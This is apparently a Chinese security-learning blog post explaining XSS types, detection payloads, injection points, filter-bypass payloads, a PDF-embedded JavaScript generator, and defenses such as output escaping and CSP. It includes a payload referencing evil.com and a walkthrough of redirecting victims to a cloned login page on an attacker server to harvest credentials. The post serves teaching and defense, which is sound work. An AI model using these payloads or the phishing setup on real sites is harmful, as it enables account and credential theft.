XSS漏洞

📅 2026/7/16 5:52:28 👁️ 阅读次数 📝 编程学习
XSS漏洞

XSS漏洞原理

跨站脚本攻击(Cross-Site-Scripting),是代码注入的一种。攻击者利用网站没做输入过滤、输出转义的漏洞,把恶意 JavaScript 代码嵌入网页中,当其他用户打开这个网页时,浏览器会把恶意脚本当成正常代码直接执行,从而达到窃取用户个人数据、弹出广告,甚至篡改网页内容等攻击目的

XSS漏洞分类

反射型XSS攻击

  • 特点:恶意脚本通过URL参数进行传递,仅能单次使用,需诱导受害者点击携带payload的URL
  • 典型场景:搜索框,URL跳转,错误提示页面
  • 攻击流程:
  1. 攻击者构造恶意链接,如http://target.com/search?key=
  2. 受害者点击恶意链接
  3. 网站接收恶意参数,并将其返回给浏览器,浏览器在渲染页面时触发恶意代码

存储型XSS攻击

  • 特点:恶意脚本被永久存储在服务器中,任何访问该页面的用户都会出发攻击
  • 典型场景:评论区、用户资料、博客留言
  • 攻击流程:
  1. 攻击者发布含有Javascript代码的文字
  2. 恶意脚本被存储在浏览器中
  3. 用户访问时,浏览器从服务器提取含恶意代码的内容
  4. 浏览器执行恶意代码

DOM型XSS攻击

  • 特点:恶意脚本通过修改页面 DOM 结构触发,无需与服务器交互,漏洞存在于前端 JavaScript 代码中。
  • 典型场景:基于document.write()、innerHTML等 API 操作 DOM 的页面。
  • 攻击流程:
  1. 页面存在代码:document.getElementById(‘content’).innerHTML = location.hash.substr(1)
  2. 攻击者构造链接:http://target.com/#<img src=x οnerrοr=alert(‘xss’)>
  3. 用户点击后,location.hash的值被写入 DOM,onerror事件触发脚本执行

XSS漏洞危害

1、用户信息泄露
2、用户会话劫持
3、恶意软件传播
4、钓鱼攻击
5、网站信誉受损
6、数据篡改
7、拒接服务
8、权限提升
9、社会工程学攻击

如何验证存在XSS

  • 基础检测:弹框
    <script>alert(1)</script>
  • 无痕检测:控制台
    <img src=x onerror=console.log('xss-test')>
  • 过滤检测:特殊字符
    <>"'onerror、onload、onmouseover、onfocus

常见注入点

  1. URL参数
    类型:反射型XSS
    说明:通过URL携带恶意参数
    示例:http://example.com/search?q=<script>alert(1)</script>

  2. 表单提交参数
    类型:反射型/存储型XSS
    说明:登录、注册、搜索等接口
    示例:<input name="keyword" value="<script>...">

  3. DOM属性
    类型:DOM型XSS
    说明:document.URL、location.hash等
    示例:http://example.com/#<img src=x onerror=alert(1)>

  4. HTTP头部字段
    类型:反射型XSS
    说明:Referer、User-Agent、Host
    示例:User-Agent: <script>alert(1)</script>

  5. 第三方组件
    类型:供应链XSS
    说明:引入不可信JavaScript或iframe
    示例:<script src="http://evil.com/malicious.js">

  6. Markdown/富文本
    类型:存储型XSS
    说明:评论区、文章编辑器等
    示例:[点击这里](javascript:alert(1))

  7. HTML标签属性
    类型:反射型/存储型XSS
    说明:src、href、onload、style
    示例:<img src="x" onerror="alert(1)">

XSS绕过方法

详情可参考:XSS-Labs全关卡解析

  1. 大小写转化
    <ScriPt>alert(1)</sCripT>
  2. 双写绕过
    <sscriptcript>alert(1)</sscriptcript>
  3. 使用单引号、双引号闭合
    "><script>alert(1)</script>"
  4. 使用事件函数
    <img src=x onerror=alert(1)>
  5. 替换空格
    <img/src=x/onerror=alert(1)>
    或使用制表符、换行符、%0a、%0d代替
  6. javascript伪协议
    ' onfocus=javascript:alert(1) autofocus= '
  7. 编码绕过
    URL编码:<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
    实体编码:&#60;script&#62;alert(1)&#60;/script&#62;
    Unicode编码:<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

XSS攻击案例

XSS之httponly(账号密码钓鱼)

HttpOnly属性的作用是让Cookie只能用于http/https传输,而不能被客户端读取。攻击者可构造恶意网站,诱导受害者访问该网站,使受害者主动将敏感信息发送给攻击者

payload:
</textarea><script>window.location.href='http://eval/login.php'</script>

创建后台登录程序(以DVWA做简单演示):
1、获取后台前端页面
在登录界面,右键->另存为
保存下来的页面是纯静态,刷新时验证码也是静态,原管理后台文件中,有个GetCode.asp,该文件是用于获取动态验证码的

2、优化假后台
将刚才另存后的代码复制到攻击者vps服务器中,命名为login.php
将假登录页面中验证码地址改为真实登录地址的验证码地址
再将from表单提交的目标地址替换为用于接收用户账号和密码的文件地址

新建save.php文件实现页面跳转和账号密码传参到服务器

这样,只要用户访问了插入恶意payload的网页,Javascript代码就会自动执行,使用户跳转到攻击者恶意构造的登录界面,如果用户将账号密码输入进去提交后,攻击者 的服务器就会保存受害者的账号密码,并使其跳转到正常的登录界面

XSS之PDF

PDF XSS漏洞利用了PDF文件的结构和内容,将恶意脚本代码嵌入到PDF文件中,当用户打开PDF文件时,恶意脚本代码会被执行。

攻击过程

1、攻击者创建一个恶意PDF文件,其中包含恶意脚本代码
2、攻击者将恶意pdf文件发送给目标用户,或者将文件上传到一个可供用户下载的网站上
3、用户下载并打开恶意的pdf
4、pdf阅读器解析PDF文件,并执行其中的脚本代码
5、恶意脚本代码执行恶意操作,例如窃取用户的敏感信息、修改用户的数据等。

构造恶意xss-pdf

方法一:通过pdf编辑器生成

文件–>文档属性—>动作—>文档打印前–>app.alert(‘xss’);
文件–>文档属性—>Javascript—>app.alert(‘xss’);


2、python脚本 PyPDF2
使用脚本生成含有恶意代码的pdf,先执行xss.py,再执行xss2.py

xss.py代码

# -- coding: utf-8 --#若出现报错,将from PyPDF2 import PdfRe注释或者删除#from PyPDF2 import PdfRefromPyPDF2importPdfReader,PdfWriter# 创建一个新的 PDF 文档output_pdf=PdfWriter()# 添加一个新页面page=output_pdf.add_blank_page(width=72,height=72)# 添加js代码output_pdf.add_js("app.alert('xss');")# 将新页面写入到新 PDF 文档中withopen("xss.pdf","wb")asf:output_pdf.write(f)

xss2.py代码

# -- coding: utf-8 --fromPyPDF2importPdfReader,PdfWriter# 打开原始 PDF 文件input_pdf=PdfReader("xss.pdf")# 创建一个新的 PDF 文档output_pdf=PdfWriter()# 将现有的 PDF 页面复制到新文档foriinrange(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])# 添加 JavaScript 代码output_pdf.add_js("app.alert('xss');")# 将新 PDF 文档写入到文件中withopen("xss.pdf","wb")asf:output_pdf.write(f)

XSS如何防御

对用户的输入进行过滤
比如说添加黑名单或者白名单规则,比如说对& " ’ / javascript import等敏感字符进行转义

对输出进行转义
对单引号’、双引号"、尖括号<>、and符&、左斜杠/、右斜杠\进行转义,也可使用htmlspecialchars()或者htmlentities()函数进行转义

使用HttpOnly Cookie
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样可以有效的防止XSS攻击窃取cookie。

设置X-XSS-Protection属性
该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。

开启CSP网页安全策略
CSP是网页安全策略(Content Security Policy)的缩写。开启策略后可以起到以下作用:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;禁止内联脚本执行(规则较严格,目前发现 GitHub 使用);禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。合理使用上报可以及时发现 XSS,利于尽快修复问题。

避免内联事件
尽量不要使用 onLoad=“onload(’{{data}}’)”、onClick=“go(’{{action}}’)” 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。

XSS和CSRF的区别

XSS vs CSRF 核心区别一览表

对比维度XSS(跨站脚本攻击)CSRF(跨站请求伪造)
攻击本质注入恶意脚本到网页中执行伪造用户请求,冒用身份操作
攻击目标窃取信息(Cookie、会话等)执行操作(转账、改密码等)
利用方式用户访问含恶意脚本的页面用户点击恶意链接或访问恶意网站
前提条件网站存在输入输出过滤缺陷用户已登录目标网站且会话有效
攻击后果信息泄露、会话劫持、钓鱼等非授权的操作执行
防御重点过滤输入、编码输出、CSP防伪令牌(Token)、验证Referer